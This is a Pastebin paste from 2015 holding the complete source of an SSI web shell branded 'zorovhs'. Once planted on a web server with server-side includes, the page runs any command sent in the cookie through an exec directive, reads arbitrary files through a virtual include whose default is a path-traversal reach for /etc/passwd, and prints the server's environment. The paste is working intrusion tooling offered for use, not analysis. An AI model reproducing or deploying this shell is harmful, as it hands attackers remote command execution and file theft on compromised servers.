zorovhsvn

ssi

Jun 12th, 2015
747
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.21 KB | None | 0 0
  1. <!--#config errmsg="[Error in shell]"--> <!--#config sizefmt="bytes"--> <!--#if expr="(\"$HTTP_COOKIE\" = \"\") || (\"$REQUEST_METHOD\" != \"GET\")" -->
  2. <!--#set var="shl" value="ls -al" --> <!--#else --> <!--#set var="shl" value=$HTTP_COOKIE --> <!--#endif -->
  3. <!--#if expr="(\"$HTTP_COOKIE\" = \"\") || (\"$REQUEST_METHOD\" != \"POST\")" --> <!--#set var="inc" value="/../../../../../../../etc/passwd" -->
  4. <!--#else --> <!--#set var="inc" value=$HTTP_COOKIE --> <!--#endif --> <html> <head> <title> SSI shell zorovhs </title>
  5. <script language="javascript"> function doit( mode )
  6. { if( document.cookie != "" ) { var cookies = document.cookie.split( ";" );
  7. for( var i = 0; i < cookies.length; ++i ) document.cookie = cookies[ i ] + ";expires=Thu, 01 Jan 1970 00:00:00 GMT"; } document.cookie = document.getElementById( mode ).value;
  8. document.location.reload(); } function toggle( id ) { document.getElementById( id ).style.display = (document.getElementById( id ).style.display == "none") ? "block" : "none"; }
  9. </script>
  10. </head>
  11. <body bgcolor=#e4e0d8 alink=blue vlink=blue>
  12. <div align=center width=100% border=0 style=background-color:#D4D0C8;>
  13. <center><b><font size=+2><a href=https://www.facebook.com/nguoivohinh001 target="_blank">SSI Shell zorovhs</a></font></b></center>
  14. </div><br> <div align=left width=100% border=0 style=background-color:#D4D0C8;> <center><b><u><font size=+1 onclick=toggle('inf'); style=cursor:hand;>
  15. Common info</font></u></b></center> <div id=inf style=display:none;><br> <b><font color=blue>GMT date</font></b>:&nbsp;&nbsp;&nbsp;<b>
  16. <!--#echo var=DATE_GMT --></b><br> <b><font color=blue>Local date</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DATE_LOCAL -->
  17. </b><br> <b><font color=blue>Document name</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DOCUMENT_NAME --></b><br> <b><font color=blue>
  18. Document URI</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=DOCUMENT_URI --></b><br> <b><font color=blue>Last modified
  19. </font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=LAST_MODIFIED --></b><br> <b><font color=blue>Owner</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=USER_NAME --></b>
  20. <br> <br></div> </div> <br> <div align=left width=100% border=0 style=background-color:#D4D0C8;> <center><b><u><font size=+1 onclick=toggle('env'); style=cursor:hand;>
  21. Enviroment info</font></u></b></center> <div id=env style=display:none;><br> <pre> <!--#printenv--> </pre> <br></div>
  22. </div> <br> <div align=left width=100% border=0 style=background-color:#D4D0C8;> <center><b><u><font size=+1 onclick=toggle('shl'); style=cursor:hand;>
  23. Command for shell</font></u></b></center></div> <div align=left width=100% border=0 id=shl style=background-color:#D4D0C8;
  24. <!--#if expr="\"$REQUEST_METHOD\" != \"GET\"" -->display:none;<!--#endif -->> <br><b><font color=blue>Enter command</font>
  25. </b>:&nbsp;&nbsp;&nbsp;<form method=get onsubmit=doit('command');><input type=text size=80 id=command>&nbsp;<input type=submit value=Marion001></form><br> <center>
  26. <b><font size=+1>Result</font></b></center> <br> <b><font color=blue>Executed command</font></b>:<br/>&nbsp;&nbsp;&nbsp;<b><!--#echo var=shl --></b><br>
  27. <textarea bgcolor=#e4e0d8 cols=121 rows=15> <!--#exec cmd=$shl --> </textarea> </div> <div align=left width=100% border=0 style=background-color:#D4D0C8;>
  28. <center><b><u><font size=+1 onclick=toggle('inc'); style=cursor:hand;>Operations on files</font></u></b></center>
  29. <div id=inc <!--#if expr="\"$REQUEST_METHOD\" != \"POST\"" -->style=display:none;<!--#endif -->><br> <b><font color=blue>View file (virtual include)
  30. </font></b>:&nbsp;&nbsp;&nbsp;<form method=post onsubmit=doit('vfile');><input type=text size=80 id=vfile>&nbsp;<input type=submit value=Run></form><br>
  31. <b><font color=blue>Included file</font></b>:&nbsp;&nbsp;&nbsp;<b><!--#echo var=inc --></b><br> <b><font color=blue>Size</font></b>:&nbsp;&nbsp;&nbsp;<b>
  32. <!--#fsize virtual=$inc -->&nbsp;bytes</b><br> <textarea bgcolor=#e4e0d8 cols=121 rows=15> <!--#include virtual=$inc --> </textarea> <br></div> </div> <br> <div align=center width=100% border=0 style=background-color:#D4D0C8;> <center><b><font size=+1><a href=https://www.facebook.com/nguoivohinh001 target="_blank">ZoroVHS</a></font>
  33. </b><br><small>2015, v.zorovhs</small></center> </div> </body> </html>
Advertisement
Add Comment
Please, Sign In to add comment